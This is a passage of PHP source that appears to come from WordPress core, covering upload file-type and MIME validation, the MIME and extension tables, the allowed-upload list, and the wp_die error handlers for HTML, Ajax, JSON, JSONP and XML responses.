* If unable to, the file name extension will be used to determine type.
*
* If it's determined that the extension does not match the file's real type,
* then the "proper_filename" value will be set with a proper filename and extension.
*
* Currently this function only supports renaming images validated via wp_get_image_mime().
*
* @since 3.0.0
*
* @param string $file Full path to the file.
* @param string $filename The name of the file (may differ from $file due to $file being
* in a tmp directory).
* @param array $mimes Optional. Key is the file extension with value as the mime type.
* @return array Values for the extension, MIME, and either a corrected filename or false
* if original $filename is valid.
*/
function wp_check_filetype_and_ext( $file, $filename, $mimes = null ) {
$proper_filename = false;
// Do basic extension validation and MIME mapping
$wp_filetype = wp_check_filetype( $filename, $mimes );
$ext = $wp_filetype['ext'];
$type = $wp_filetype['type'];
// We can't do any further validation without a file to work with
if ( ! file_exists( $file ) ) {
return compact( 'ext', 'type', 'proper_filename' );
}
$real_mime = false;
// Validate image types.
if ( $type && 0 === strpos( $type, 'image/' ) ) {
// Attempt to figure out what type of image it actually is
$real_mime = wp_get_image_mime( $file );
if ( $real_mime && $real_mime != $type ) {
/**
* Filters the list mapping image mime types to their respective extensions.
*
* @since 3.0.0
*
* @param array $mime_to_ext Array of image mime types and their matching extensions.
*/
$mime_to_ext = apply_filters(
'getimagesize_mimes_to_exts',
array(
'image/jpeg' => 'jpg',
'image/png' => 'png',
'image/gif' => 'gif',
'image/bmp' => 'bmp',
'image/tiff' => 'tif',
)
);
// Replace whatever is after the last period in the filename with the correct extension
if ( ! empty( $mime_to_ext[ $real_mime ] ) ) {
$filename_parts = explode( '.', $filename );
array_pop( $filename_parts );
$filename_parts[] = $mime_to_ext[ $real_mime ];
$new_filename = implode( '.', $filename_parts );
if ( $new_filename != $filename ) {
$proper_filename = $new_filename; // Mark that it changed
}
// Redefine the extension / MIME
$wp_filetype = wp_check_filetype( $new_filename, $mimes );
$ext = $wp_filetype['ext'];
$type = $wp_filetype['type'];
} else {
// Reset $real_mime and try validating again.
$real_mime = false;
}
}
}
// Validate files that didn't get validated during previous checks.
if ( $type && ! $real_mime && extension_loaded( 'fileinfo' ) ) {
$finfo = finfo_open( FILEINFO_MIME_TYPE );
$real_mime = finfo_file( $finfo, $file );
finfo_close( $finfo );
// fileinfo often misidentifies obscure files as one of these types
$nonspecific_types = array(
'application/octet-stream',
'application/encrypted',
'application/CDFV2-encrypted',
'application/zip',
);
/*
* If $real_mime doesn't match the content type we're expecting from the file's extension,
* we need to do some additional vetting. Media types and those listed in $nonspecific_types are
* allowed some leeway, but anything else must exactly match the real content type.
*/
if ( in_array( $real_mime, $nonspecific_types, true ) ) {
// File is a non-specific binary type. That's ok if it's a type that generally tends to be binary.
if ( ! in_array( substr( $type, 0, strcspn( $type, '/' ) ), array( 'application', 'video', 'audio' ) ) ) {
$type = $ext = false;
}
} elseif ( 0 === strpos( $real_mime, 'video/' ) || 0 === strpos( $real_mime, 'audio/' ) ) {
/*
* For these types, only the major type must match the real value.
* This means that common mismatches are forgiven: application/vnd.apple.numbers is often misidentified as application/zip,
* and some media files are commonly named with the wrong extension (.mov instead of .mp4)
*/
if ( substr( $real_mime, 0, strcspn( $real_mime, '/' ) ) !== substr( $type, 0, strcspn( $type, '/' ) ) ) {
$type = $ext = false;
}
} elseif ( 'text/plain' === $real_mime ) {
// A few common file types are occasionally detected as text/plain; allow those.
if ( ! in_array(
$type,
array(
'text/plain',
'text/csv',
'text/richtext',
'text/tsv',
'text/vtt',
)
)
) {
$type = $ext = false;
}
} elseif ( 'text/rtf' === $real_mime ) {
// Special casing for RTF files.
if ( ! in_array(
$type,
array(
'text/rtf',
'text/plain',
'application/rtf',
)
)
) {
$type = $ext = false;
}
} else {
if ( $type !== $real_mime ) {
/*
* Everything else including image/* and application/*:
* If the real content type doesn't match the file extension, assume it's dangerous.
*/
$type = $ext = false;
}
}
}
// The mime type must be allowed
if ( $type ) {
$allowed = get_allowed_mime_types();
if ( ! in_array( $type, $allowed ) ) {
$type = $ext = false;
}
}
/**
* Filters the "real" file type of the given file.
*
* @since 3.0.0
* @since 5.1.0 The $real_mime parameter was added.
*
* @param array $wp_check_filetype_and_ext File data array containing 'ext', 'type', and
* 'proper_filename' keys.
* @param string $file Full path to the file.
* @param string $filename The name of the file (may differ from $file due to
* $file being in a tmp directory).
* @param array $mimes Key is the file extension with value as the mime type.
* @param string|bool $real_mime The actual mime type or false if the type cannot be determined.
*/
return apply_filters( 'wp_check_filetype_and_ext', compact( 'ext', 'type', 'proper_filename' ), $file, $filename, $mimes, $real_mime );
}
/**
* Returns the real mime type of an image file.
*
* This depends on exif_imagetype() or getimagesize() to determine real mime types.
*
* @since 4.7.1
*
* @param string $file Full path to the file.
* @return string|false The actual mime type or false if the type cannot be determined.
*/
function wp_get_image_mime( $file ) {
/*
* Use exif_imagetype() to check the mimetype if available or fall back to
* getimagesize() if exif isn't avaialbe. If either function throws an Exception
* we assume the file could not be validated.
*/
try {
if ( is_callable( 'exif_imagetype' ) ) {
$imagetype = exif_imagetype( $file );
$mime = ( $imagetype ) ? image_type_to_mime_type( $imagetype ) : false;
} elseif ( function_exists( 'getimagesize' ) ) {
$imagesize = getimagesize( $file );
$mime = ( isset( $imagesize['mime'] ) ) ? $imagesize['mime'] : false;
} else {
$mime = false;
}
} catch ( Exception $e ) {
$mime = false;
}
return $mime;
}
/**
* Retrieve list of mime types and file extensions.
*
* @since 3.5.0
* @since 4.2.0 Support was added for GIMP (xcf) files.
*
* @return array Array of mime types keyed by the file extension regex corresponding to those types.
*/
function wp_get_mime_types() {
/**
* Filters the list of mime types and file extensions.
*
* This filter should be used to add, not remove, mime types. To remove
* mime types, use the {@see 'upload_mimes'} filter.
*
* @since 3.5.0
*
* @param array $wp_get_mime_types Mime types keyed by the file extension regex
* corresponding to those types.
*/
return apply_filters(
'mime_types',
array(
// Image formats.
'jpg|jpeg|jpe' => 'image/jpeg',
'gif' => 'image/gif',
'png' => 'image/png',
'bmp' => 'image/bmp',
'tiff|tif' => 'image/tiff',
'ico' => 'image/x-icon',
// Video formats.
'asf|asx' => 'video/x-ms-asf',
'wmv' => 'video/x-ms-wmv',
'wmx' => 'video/x-ms-wmx',
'wm' => 'video/x-ms-wm',
'avi' => 'video/avi',
'divx' => 'video/divx',
'flv' => 'video/x-flv',
'mov|qt' => 'video/quicktime',
'mpeg|mpg|mpe' => 'video/mpeg',
'mp4|m4v' => 'video/mp4',
'ogv' => 'video/ogg',
'webm' => 'video/webm',
'mkv' => 'video/x-matroska',
'3gp|3gpp' => 'video/3gpp', // Can also be audio
'3g2|3gp2' => 'video/3gpp2', // Can also be audio
// Text formats.
'txt|asc|c|cc|h|srt' => 'text/plain',
'csv' => 'text/csv',
'tsv' => 'text/tab-separated-values',
'ics' => 'text/calendar',
'rtx' => 'text/richtext',
'css' => 'text/css',
'htm|html' => 'text/html',
'vtt' => 'text/vtt',
'dfxp' => 'application/ttaf+xml',
// Audio formats.
'mp3|m4a|m4b' => 'audio/mpeg',
'aac' => 'audio/aac',
'ra|ram' => 'audio/x-realaudio',
'wav' => 'audio/wav',
'ogg|oga' => 'audio/ogg',
'flac' => 'audio/flac',
'mid|midi' => 'audio/midi',
'wma' => 'audio/x-ms-wma',
'wax' => 'audio/x-ms-wax',
'mka' => 'audio/x-matroska',
// Misc application formats.
'rtf' => 'application/rtf',
'js' => 'application/javascript',
'pdf' => 'application/pdf',
'swf' => 'application/x-shockwave-flash',
'class' => 'application/java',
'tar' => 'application/x-tar',
'zip' => 'application/zip',
'gz|gzip' => 'application/x-gzip',
'rar' => 'application/rar',
'7z' => 'application/x-7z-compressed',
'exe' => 'application/x-msdownload',
'psd' => 'application/octet-stream',
'xcf' => 'application/octet-stream',
// MS Office formats.
'doc' => 'application/msword',
'pot|pps|ppt' => 'application/vnd.ms-powerpoint',
'wri' => 'application/vnd.ms-write',
'xla|xls|xlt|xlw' => 'application/vnd.ms-excel',
'mdb' => 'application/vnd.ms-access',
'mpp' => 'application/vnd.ms-project',
'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
'docm' => 'application/vnd.ms-word.document.macroEnabled.12',
'dotx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
'dotm' => 'application/vnd.ms-word.template.macroEnabled.12',
'xlsx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
'xlsm' => 'application/vnd.ms-excel.sheet.macroEnabled.12',
'xlsb' => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
'xltx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
'xltm' => 'application/vnd.ms-excel.template.macroEnabled.12',
'xlam' => 'application/vnd.ms-excel.addin.macroEnabled.12',
'pptx' => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
'pptm' => 'application/vnd.ms-powerpoint.presentation.macroEnabled.12',
'ppsx' => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
'ppsm' => 'application/vnd.ms-powerpoint.slideshow.macroEnabled.12',
'potx' => 'application/vnd.openxmlformats-officedocument.presentationml.template',
'potm' => 'application/vnd.ms-powerpoint.template.macroEnabled.12',
'ppam' => 'application/vnd.ms-powerpoint.addin.macroEnabled.12',
'sldx' => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
'sldm' => 'application/vnd.ms-powerpoint.slide.macroEnabled.12',
'onetoc|onetoc2|onetmp|onepkg' => 'application/onenote',
'oxps' => 'application/oxps',
'xps' => 'application/vnd.ms-xpsdocument',
// OpenOffice formats.
'odt' => 'application/vnd.oasis.opendocument.text',
'odp' => 'application/vnd.oasis.opendocument.presentation',
'ods' => 'application/vnd.oasis.opendocument.spreadsheet',
'odg' => 'application/vnd.oasis.opendocument.graphics',
'odc' => 'application/vnd.oasis.opendocument.chart',
'odb' => 'application/vnd.oasis.opendocument.database',
'odf' => 'application/vnd.oasis.opendocument.formula',
// WordPerfect formats.
'wp|wpd' => 'application/wordperfect',
// iWork formats.
'key' => 'application/vnd.apple.keynote',
'numbers' => 'application/vnd.apple.numbers',
'pages' => 'application/vnd.apple.pages',
)
);
}
/**
* Retrieves the list of common file extensions and their types.
*
* @since 4.6.0
*
* @return array Array of file extensions types keyed by the type of file.
*/
function wp_get_ext_types() {
/**
* Filters file type based on the extension name.
*
* @since 2.5.0
*
* @see wp_ext2type()
*
* @param array $ext2type Multi-dimensional array with extensions for a default set
* of file types.
*/
return apply_filters(
'ext2type',
array(
'image' => array( 'jpg', 'jpeg', 'jpe', 'gif', 'png', 'bmp', 'tif', 'tiff', 'ico' ),
'audio' => array( 'aac', 'ac3', 'aif', 'aiff', 'flac', 'm3a', 'm4a', 'm4b', 'mka', 'mp1', 'mp2', 'mp3', 'ogg', 'oga', 'ram', 'wav', 'wma' ),
'video' => array( '3g2', '3gp', '3gpp', 'asf', 'avi', 'divx', 'dv', 'flv', 'm4v', 'mkv', 'mov', 'mp4', 'mpeg', 'mpg', 'mpv', 'ogm', 'ogv', 'qt', 'rm', 'vob', 'wmv' ),
'document' => array( 'doc', 'docx', 'docm', 'dotm', 'odt', 'pages', 'pdf', 'xps', 'oxps', 'rtf', 'wp', 'wpd', 'psd', 'xcf' ),
'spreadsheet' => array( 'numbers', 'ods', 'xls', 'xlsx', 'xlsm', 'xlsb' ),
'interactive' => array( 'swf', 'key', 'ppt', 'pptx', 'pptm', 'pps', 'ppsx', 'ppsm', 'sldx', 'sldm', 'odp' ),
'text' => array( 'asc', 'csv', 'tsv', 'txt' ),
'archive' => array( 'bz2', 'cab', 'dmg', 'gz', 'rar', 'sea', 'sit', 'sqx', 'tar', 'tgz', 'zip', '7z' ),
'code' => array( 'css', 'htm', 'html', 'php', 'js' ),
)
);
}
/**
* Retrieve list of allowed mime types and file extensions.
*
* @since 2.8.6
*
* @param int|WP_User $user Optional. User to check. Defaults to current user.
* @return array Array of mime types keyed by the file extension regex corresponding
* to those types.
*/
function get_allowed_mime_types( $user = null ) {
$t = wp_get_mime_types();
unset( $t['swf'], $t['exe'] );
if ( function_exists( 'current_user_can' ) ) {
$unfiltered = $user ? user_can( $user, 'unfiltered_html' ) : current_user_can( 'unfiltered_html' );
}
if ( empty( $unfiltered ) ) {
unset( $t['htm|html'], $t['js'] );
}
/**
* Filters list of allowed mime types and file extensions.
*
* @since 2.0.0
*
* @param array $t Mime types keyed by the file extension regex corresponding to
* those types. 'swf' and 'exe' removed from full list. 'htm|html' also
* removed depending on '$user' capabilities.
* @param int|WP_User|null $user User ID, User object or null if not provided (indicates current user).
*/
return apply_filters( 'upload_mimes', $t, $user );
}
/**
* Display "Are You Sure" message to confirm the action being taken.
*
* If the action has the nonce explain message, then it will be displayed
* along with the "Are you sure?" message.
*
* @since 2.0.4
*
* @param string $action The nonce action.
*/
function wp_nonce_ays( $action ) {
if ( 'log-out' == $action ) {
$html = sprintf(
/* translators: %s: site name */
__( 'You are attempting to log out of %s' ),
get_bloginfo( 'name' )
);
$html .= '</p><p>';
$redirect_to = isset( $_REQUEST['redirect_to'] ) ? $_REQUEST['redirect_to'] : '';
$html .= sprintf(
/* translators: %s: logout URL */
__( 'Do you really want to <a href="%s">log out</a>?' ),
wp_logout_url( $redirect_to )
);
} else {
$html = __( 'The link you followed has expired.' );
if ( wp_get_referer() ) {
$wp_http_referer = remove_query_arg( 'updated', wp_get_referer() );
$wp_http_referer = wp_validate_redirect( esc_url_raw( $wp_http_referer ) );
$html .= '</p><p>';
$html .= sprintf(
'<a href="%s">%s</a>',
esc_url( $wp_http_referer ),
__( 'Please try again.' )
);
}
}
wp_die( $html, __( 'Something went wrong.' ), 403 );
}
/**
* Kills WordPress execution and displays HTML page with an error message.
*
* This function complements the `die()` PHP function. The difference is that
* HTML will be displayed to the user. It is recommended to use this function
* only when the execution should not continue any further. It is not recommended
* to call this function very often, and try to handle as many errors as possible
* silently or more gracefully.
*
* As a shorthand, the desired HTTP response code may be passed as an integer to
* the `$title` parameter (the default title would apply) or the `$args` parameter.
*
* @since 2.0.4
* @since 4.1.0 The `$title` and `$args` parameters were changed to optionally accept
* an integer to be used as the response code.
* @since 5.1.0 The `$link_url`, `$link_text`, and `$exit` arguments were added.
*
* @global WP_Query $wp_query Global WP_Query instance.
*
* @param string|WP_Error $message Optional. Error message. If this is a WP_Error object,
* and not an Ajax or XML-RPC request, the error's messages are used.
* Default empty.
* @param string|int $title Optional. Error title. If `$message` is a `WP_Error` object,
* error data with the key 'title' may be used to specify the title.
* If `$title` is an integer, then it is treated as the response
* code. Default empty.
* @param string|array|int $args {
* Optional. Arguments to control behavior. If `$args` is an integer, then it is treated
* as the response code. Default empty array.
*
* @type int $response The HTTP response code. Default 200 for Ajax requests, 500 otherwise.
* @type string $link_url A URL to include a link to. Only works in combination with $link_text.
* Default empty string.
* @type string $link_text A label for the link to include. Only works in combination with $link_url.
* Default empty string.
* @type bool $back_link Whether to include a link to go back. Default false.
* @type string $text_direction The text direction. This is only useful internally, when WordPress
* is still loading and the site's locale is not set up yet. Accepts 'rtl'.
* Default is the value of is_rtl().
* @type string $code Error code to use. Default is 'wp_die', or the main error code if $message
* is a WP_Error.
* @type bool $exit Whether to exit the process after completion. Default true.
* }
*/
function wp_die( $message = '', $title = '', $args = array() ) {
global $wp_query;
if ( is_int( $args ) ) {
$args = array( 'response' => $args );
} elseif ( is_int( $title ) ) {
$args = array( 'response' => $title );
$title = '';
}
if ( wp_doing_ajax() ) {
/**
* Filters the callback for killing WordPress execution for Ajax requests.
*
* @since 3.4.0
*
* @param callable $function Callback function name.
*/
$function = apply_filters( 'wp_die_ajax_handler', '_ajax_wp_die_handler' );
} elseif ( wp_is_json_request() ) {
/**
* Filters the callback for killing WordPress execution for JSON requests.
*
* @since 5.1.0
*
* @param callable $function Callback function name.
*/
$function = apply_filters( 'wp_die_json_handler', '_json_wp_die_handler' );
} elseif ( defined( 'REST_REQUEST' ) && REST_REQUEST && wp_is_jsonp_request() ) {
/**
* Filters the callback for killing WordPress execution for JSONP REST requests.
*
* @since 5.2.0
*
* @param callable $function Callback function name.
*/
$function = apply_filters( 'wp_die_jsonp_handler', '_jsonp_wp_die_handler' );
} elseif ( defined( 'XMLRPC_REQUEST' ) && XMLRPC_REQUEST ) {
/**
* Filters the callback for killing WordPress execution for XML-RPC requests.
*
* @since 3.4.0
*
* @param callable $function Callback function name.
*/
$function = apply_filters( 'wp_die_xmlrpc_handler', '_xmlrpc_wp_die_handler' );
} elseif ( wp_is_xml_request()
|| isset( $wp_query ) &&
( function_exists( 'is_feed' ) && is_feed()
|| function_exists( 'is_comment_feed' ) && is_comment_feed()
|| function_exists( 'is_trackback' ) && is_trackback() ) ) {
/**
* Filters the callback for killing WordPress execution for XML requests.
*
* @since 5.2.0
*
* @param callable $function Callback function name.
*/
$function = apply_filters( 'wp_die_xml_handler', '_xml_wp_die_handler' );
} else {
/**
* Filters the callback for killing WordPress execution for all non-Ajax, non-JSON, non-XML requests.
*
* @since 3.0.0
*
* @param callable $function Callback function name.
*/
$function = apply_filters( 'wp_die_handler', '_default_wp_die_handler' );
}
call_user_func( $function, $message, $title, $args );
}
/**
* Kills WordPress execution and displays HTML page with an error message.
*
* This is the default handler for wp_die(). If you want a custom one,
* you can override this using the {@see 'wp_die_handler'} filter in wp_die().
*
* @since 3.0.0
* @access private
*
* @param string|WP_Error $message Error message or WP_Error object.
* @param string $title Optional. Error title. Default empty.
* @param string|array $args Optional. Arguments to control behavior. Default empty array.
*/
function _default_wp_die_handler( $message, $title = '', $args = array() ) {
list( $message, $title, $r ) = _wp_die_process_input( $message, $title, $args );
if ( is_string( $message ) ) {
if ( ! empty( $r['additional_errors'] ) ) {
$message = array_merge(
array( $message ),
wp_list_pluck( $r['additional_errors'], 'message' )
);
$message = "<ul>\n\t\t<li>" . join( "</li>\n\t\t<li>", $message ) . "</li>\n\t</ul>";
} else {
$message = "<p>$message</p>";
}
}
$have_gettext = function_exists( '__' );
if ( ! empty( $r['link_url'] ) && ! empty( $r['link_text'] ) ) {
$link_url = $r['link_url'];
if ( function_exists( 'esc_url' ) ) {
$link_url = esc_url( $link_url );
}
$link_text = $r['link_text'];
$message .= "\n<p><a href='{$link_url}'>{$link_text}</a></p>";
}
if ( isset( $r['back_link'] ) && $r['back_link'] ) {
$back_text = $have_gettext ? __( '« Back' ) : '« Back';
$message .= "\n<p><a href='javascript:history.back()'>$back_text</a></p>";
}
if ( ! did_action( 'admin_head' ) ) :
if ( ! headers_sent() ) {
header( 'Content-Type: text/html; charset=utf-8' );
status_header( $r['response'] );
nocache_headers();
}
$text_direction = $r['text_direction'];
if ( function_exists( 'language_attributes' ) && function_exists( 'is_rtl' ) ) {
$dir_attr = get_language_attributes();
} else {
$dir_attr = "dir='$text_direction'";
}
?>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml" <?php echo $dir_attr; ?>>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="viewport" content="width=device-width">
<?php
if ( function_exists( 'wp_no_robots' ) ) {
wp_no_robots();
}
?>
<title><?php echo $title; ?></title>
<style type="text/css">
html {
background: #f1f1f1;
}
body {
background: #fff;
color: #444;
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
margin: 2em auto;
padding: 1em 2em;
max-width: 700px;
-webkit-box-shadow: 0 1px 3px rgba(0, 0, 0, 0.13);
box-shadow: 0 1px 3px rgba(0, 0, 0, 0.13);
}
h1 {
border-bottom: 1px solid #dadada;
clear: both;
color: #666;
font-size: 24px;
margin: 30px 0 0 0;
padding: 0;
padding-bottom: 7px;
}
#error-page {
margin-top: 50px;
}
#error-page p {
font-size: 14px;
line-height: 1.5;
margin: 25px 0 20px;
}
#error-page code {
font-family: Consolas, Monaco, monospace;
}
ul li {
margin-bottom: 10px;
font-size: 14px ;
}
a {
color: #0073aa;
}
a:hover,
a:active {
color: #00a0d2;
}
a:focus {
color: #124964;
-webkit-box-shadow:
0 0 0 1px #5b9dd9,
0 0 2px 1px rgba(30, 140, 190, 0.8);
box-shadow:
0 0 0 1px #5b9dd9,
0 0 2px 1px rgba(30, 140, 190, 0.8);
outline: none;
}
.button {
background: #f7f7f7;
border: 1px solid #ccc;
color: #555;
display: inline-block;
text-decoration: none;
font-size: 13px;
line-height: 26px;
height: 28px;
margin: 0;
padding: 0 10px 1px;
cursor: pointer;
-webkit-border-radius: 3px;
-webkit-appearance: none;
border-radius: 3px;
white-space: nowrap;
-webkit-box-sizing: border-box;
-moz-box-sizing: border-box;
box-sizing: border-box;
-webkit-box-shadow: 0 1px 0 #ccc;
box-shadow: 0 1px 0 #ccc;
vertical-align: top;
}
.button.button-large {
height: 30px;
line-height: 28px;
padding: 0 12px 2px;
}
.button:hover,
.button:focus {
background: #fafafa;
border-color: #999;
color: #23282d;
}
.button:focus {
border-color: #5b9dd9;
-webkit-box-shadow: 0 0 3px rgba(0, 115, 170, 0.8);
box-shadow: 0 0 3px rgba(0, 115, 170, 0.8);
outline: none;
}
.button:active {
background: #eee;
border-color: #999;
-webkit-box-shadow: inset 0 2px 5px -3px rgba(0, 0, 0, 0.5);
box-shadow: inset 0 2px 5px -3px rgba(0, 0, 0, 0.5);
-webkit-transform: translateY(1px);
-ms-transform: translateY(1px);
transform: translateY(1px);
}
<?php
if ( 'rtl' == $text_direction ) {
echo 'body { font-family: Tahoma, Arial; }';
}
?>
</style>
</head>
<body id="error-page">
<?php endif; // ! did_action( 'admin_head' ) ?>
<?php echo $message; ?>
</body>
</html>
<?php
if ( $r['exit'] ) {
die();
}
}
/**
* Kills WordPress execution and displays Ajax response with an error message.
*
* This is the handler for wp_die() when processing Ajax requests.
*
* @since 3.4.0
* @access private
*
* @param string $message Error message.
* @param string $title Optional. Error title (unused). Default empty.
* @param string|array $args Optional. Arguments to control behavior. Default empty array.
*/
function _ajax_wp_die_handler( $message, $title = '', $args = array() ) {
// Set default 'response' to 200 for AJAX requests.
$args = wp_parse_args(
$args,
array( 'response' => 200 )
);
list( $message, $title, $r ) = _wp_die_process_input( $message, $title, $args );
if ( ! headers_sent() ) {
// This is intentional. For backward-compatibility, support passing null here.
if ( null !== $args['response'] ) {
status_header( $r['response'] );
}
nocache_headers();
}
if ( is_scalar( $message ) ) {
$message = (string) $message;
} else {
$message = '0';
}
if ( $r['exit'] ) {
die( $message );
}
echo $message;
}
/**
* Kills WordPress execution and displays JSON response with an error message.
*
* This is the handler for wp_die() when processing JSON requests.
*
* @since 5.1.0
* @access private
*
* @param string $message Error message.
* @param string $title Optional. Error title. Default empty.
* @param string|array $args Optional. Arguments to control behavior. Default empty array.
*/
function _json_wp_die_handler( $message, $title = '', $args = array() ) {
list( $message, $title, $r ) = _wp_die_process_input( $message, $title, $args );
$data = array(
'code' => $r['code'],
'message' => $message,
'data' => array(
'status' => $r['response'],
),
'additional_errors' => $r['additional_errors'],
);
if ( ! headers_sent() ) {
header( 'Content-Type: application/json; charset=utf-8' );
if ( null !== $r['response'] ) {
status_header( $r['response'] );
}
nocache_headers();
}
echo wp_json_encode( $data );
if ( $r['exit'] ) {
die();
}
}
/**
* Kills WordPress execution and displays JSONP response with an error message.
*
* This is the handler for wp_die() when processing JSONP requests.
*
* @since 5.2.0
* @access private
*
* @param string $message Error message.
* @param string $title Optional. Error title. Default empty.
* @param string|array $args Optional. Arguments to control behavior. Default empty array.
*/
function _jsonp_wp_die_handler( $message, $title = '', $args = array() ) {
list( $message, $title, $r ) = _wp_die_process_input( $message, $title, $args );
$data = array(
'code' => $r['code'],
'message' => $message,
'data' => array(
'status' => $r['response'],
),
'additional_errors' => $r['additional_errors'],
);
if ( ! headers_sent() ) {
header( 'Content-Type: application/javascript; charset=utf-8' );
header( 'X-Content-Type-Options: nosniff' );
header( 'X-Robots-Tag: noindex' );
if ( null !== $r['response'] ) {
status_header( $r['response'] );
}
nocache_headers();
}
$result = wp_json_encode( $data );
$jsonp_callback = $_GET['_jsonp'];
echo '/**/' . $jsonp_callback . '(' . $result . ')';
if ( $r['exit'] ) {
die();
}
}
/**
* Kills WordPress execution and displays XML response with an error message.
*
* This is the handler for wp_die() when processing XMLRPC requests.
*
* @since 3.2.0
* @access private
*
* @global wp_xmlrpc_server $wp_xmlrpc_server
*
* @param string $message Error message.
* @param string $title Optional. Error title. Default empty.
* @param string|array $args Optional. Arguments to control behavior. Default empty array.
*/
function _xmlrpc_wp_die_handler( $message, $title = '', $args = array() ) {
global $wp_xmlrpc_server;
list( $message, $title, $r ) = _wp_die_process_input( $message, $title, $args );
if ( ! headers_sent() ) {
nocache_headers();
}
if ( $wp_xmlrpc_server ) {
$error = new IXR_Error( $r['response'], $message );
$wp_xmlrpc_server->output( $error->getXml() );
}
if ( $r['exit'] ) {
die();
}
}
/**
* Kills WordPress execution and displays XML response with an error message.
*
* This is the handler for wp_die() when processing XML requests.
*
* @since 5.2.0
* @access private
*
* @param string $message Error message.
* @param string $title Optional. Error title. Default empty.
* @param string|array $args Optional. Arguments to control behavior. Default empty array.
*/
function _xml_wp_die_handler( $message, $title = '', $args = array() ) {
list( $message, $title, $r ) = _wp_die_process_input( $message, $title, $args );
$message = htmlspecialchars( $message );
$title = htmlspecialchars( $title );
$xml = <<<EOD
<error>
<code>{$r['code']}</code>
<title><![CDATA[{$title}]]></title>
<message><![CDATA[{$message}]]></message>
<data>
<status>{$r['response']}</status>
</data>
</error>
EOD;
if ( ! headers_sent() ) {
header( 'Content-Type: text/xml; charset=utf-8' );
if ( null !== $r['response'] ) {
status_header( $r['response'] );
}
nocache_headers();
}
echo $xml;
if ( $r['exit'] ) {
die();
}
}
/**
* Kills WordPress execution and displays an error message.
*
* This is the handler for wp_die() when processing APP requests.
*
* @since 3.4.0
* @since 5.1.0 Added the $title and $args parameters.
* @access private
*
* @param string $message Optional. Response to print. Default empty.
* @param string $title Optional. Error title (unused). Default empty.
* @param string|array $args Optional. Arguments to control behavior. Default empty array.
*/
function _scalar_wp_die_handler( $message = '', $title = '', $args = array() ) {
list( $message, $title, $r ) = _wp_die_process_input( $message, $title, $args );
if ( $r['exit'] ) {
if ( is_scalar( $message ) ) {
die( (string) $message );
}
die();
}
if ( is_scalar( $message ) ) {
echo (string) $message;
}
}
/**
* Processes arguments passed to wp_die() consistently for its handlers.
*
* @since 5.1.0
* @access private
*
* @param string $message Error message.
* @param string $title Optional. Error title. Default empty.
* @param string|array $args Optional. Arguments to control behavior. Default empty array.
* @return array List of processed $message string, $title string, and $args array.
*/
function _wp_die_process_input( $message, $title = '', $args = array() ) {
$defaults = array(
'response' => 0,
'code' => '',
'exit' => true,
'back_link' => false,
'link_url' => '',
'link_text' => '',
'text_direction' => '',
'additional_errors' => array(),
);
$args = wp_parse_args( $args, $defaults );
if ( function_exists( 'is_wp_error' ) && is_wp_error( $message ) ) {
if ( ! empty( $message->errors ) ) {
$errors = array();
foreach ( (array) $message->errors as $error_code => $error_messages ) {
foreach ( (array) $error_messages as $error_message ) {
$errors[] = array(
'code' => $error_code,
'message' => $error_message,
'data' => $message->get_error_data( $error_code ),
);
}
}
$message = $errors[0]['message'];
if ( empty( $args['code'] ) ) {
$args['code'] = $errors[0]['code'];
}
if ( empty( $args['response'] ) && is_array( $errors[0]['data'] ) && ! empty( $errors[0]['data']['status'] ) ) {
$args['response'] = $errors[0]['data']['status'];
}
if ( empty( $title ) && is_array( $errors[0]['data'] ) && ! empty( $errors[0]['data']['title'] ) ) {
$title = $errors[0]['data']['title'];
}
unset( $errors[0] );
$args['additional_errors'] = array_values( $errors );
} else {
$message = '';
}
}
$have_gettext = function_exists( '__' );
// The $title and these specific $args must always have a non-empty value.
if ( empty( $args['code'] ) ) {
$args['code'] = 'wp_die';
}
if ( empty( $args['response'] ) ) {
$args['response'] = 500;
}
if ( empty( $title ) ) {
$title = $have_gettext ? __( 'WordPress › Error' ) : 'WordPress › Error';
}
if ( empty( $args['text_direction'] ) || ! in_array( $args['text_direction'], array( 'ltr', 'rtl' ), true ) ) {
$args['text_direction'] = 'ltr';
if ( function_exists( 'is_rtl' ) && is_rtl() ) {
$args['text_direction'] = 'rtl';
}
}
return array( $message, $title, $args );
}
/**
* Encode a variable into JSON, with some sanity checks.
*
* @since 4.1.0
*
* @param mixed $data Variable (usually an array or object) to encode as JSON.
* @param int $options Optional. Options to be passed to json_encode(). Default 0.
* @param int $depth Optional. Maximum depth to walk through $data. Must be
* greater than 0. Default 512.
* @return string|false The JSON encoded string, or false if it cannot be encoded.
*/
function wp_json_encode( $data, $options = 0, $depth = 512 ) {
/*
* json_encode() has had extra params added over the years.
* $options was added in 5.3, and $depth in 5.5.
* We need to make sure we call it with the correct arguments.
*/
if ( version_compare( PHP_VERSION, '5.5', '>=' ) ) {
$args = array( $data, $options, $depth );
} elseif ( version_compare( PHP_VERSION, '5.3', '>=' ) ) {
$args = array( $data, $options );
} else {
$args = array( $data );
}
// Prepare the data for JSON serialization.
$args[0] = _wp_json_prepare_data( $data );
$json = @call_user_func_array( 'json_encode', $args );
// If json_encode() was successful, no need to do more sanity checking.
// ... unless we're in an old version of PHP, and json_encode() returned
// a string containing 'null'. Then we need to do more sanity checking.
if ( false !== $json && ( version_compare( PHP_VERSION, '5.5', '>=' ) || false === strpos( $json, 'null' ) ) ) {
return $json;
}
try {
$args[0] = _wp_json_sanity_check( $data, $depth );
} catch ( Exception $e ) {
return false;
}
return call_user_func_array( 'json_encode', $args );
}
/**
* Perform sanity checks on data that shall be encoded to JSON.
*
* @ignore
* @since 4.1.0
* @access private
*
* @see wp_json_encode()
*
* @param mixed $data Variable (usually an array or object) to encode as JSON.
* @param int $depth Maximum depth to walk through $data. Must be greater than 0.
* @return mixed The sanitized data that shall be encoded to JSON.
*/
function _wp_json_sanity_check( $data, $depth ) {
if ( $depth < 0 ) {
throw new Exception( 'Reached depth limit' );
}
